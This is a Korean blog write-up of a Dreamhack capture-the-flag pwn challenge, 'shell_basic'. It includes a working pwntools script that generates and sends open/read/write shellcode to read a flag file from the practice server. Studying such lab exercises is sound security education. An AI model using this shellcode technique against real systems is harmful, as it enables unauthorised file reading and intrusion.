pwn
[Dreamhack] - shell_basic(WRITEUP)
HackHiJack
2023. 1. 24. 11:44
728x90
반응형
오늘은 dreamhack pwn 로드맵의 첫 문제인 shell_basic을 풀어 볼 것이다.
dreamhack 로드맵 강의에서는 어셈블리 파일을 직접 만들어서 쉘코드에 대해서 배우는데 이 방법은 너무 귀찮기 때문에 pwntool의 shellcraft를 이용해 볼 것이다. shellcraft는 잘 사용하지 않기 때문에 아래의 글을 참고하여 풀었다.
https://m.blog.naver.com/songblue61/221308705090
그럼 본격적으로 풀이를 시작해 보겠다.
먼저 문제 설명을 확인해 보면 플래그의 파일 이름을 확인할 수 있다.
그리고 문제에서 주어진 서버로 접속을 해보면 아래와 같이 shellcode를 입력하는 란이 주어진다.
이제 exploit 시나리오를 대충 짜 볼 수 있다.
1. "shellcode: "까지 문자열을 받는다.
2. shellcraft를 이용하여 shellcode를 생성한다.
3. sendline으로 shellcode를 전송한뒤 interactive를 한다.
위를 기반으로 아래와 같이 python코드를 작성하였다.
from pwn import *
r = remote("host3.dreamhack.games",12101)
context.update(arch='amd64', os='linux')
flag_str = "/home/shell_basic/flag_name_is_loooooong"
ex = ''
ex += shellcraft.pushstr(flag_str)
ex += shellcraft.open(flag_str,0,None)
ex += shellcraft.read('rax','rsp',100)
ex += shellcraft.write(1,'rsp',100)
ex += shellcraft.exit()
r.recvuntil("e: ")
r.sendline(asm(ex))
r.interactive()
shellcraft의 open을 이용하여 파일을 열고 파일의 값을 read로 읽은 뒤 write로 출력한다.(파일 크기는 대충 어림잡아서 100byte로 함)
이렇게 작성 한 다음 실행하면 플래그를 획득할 수 있다.
728x90
반응형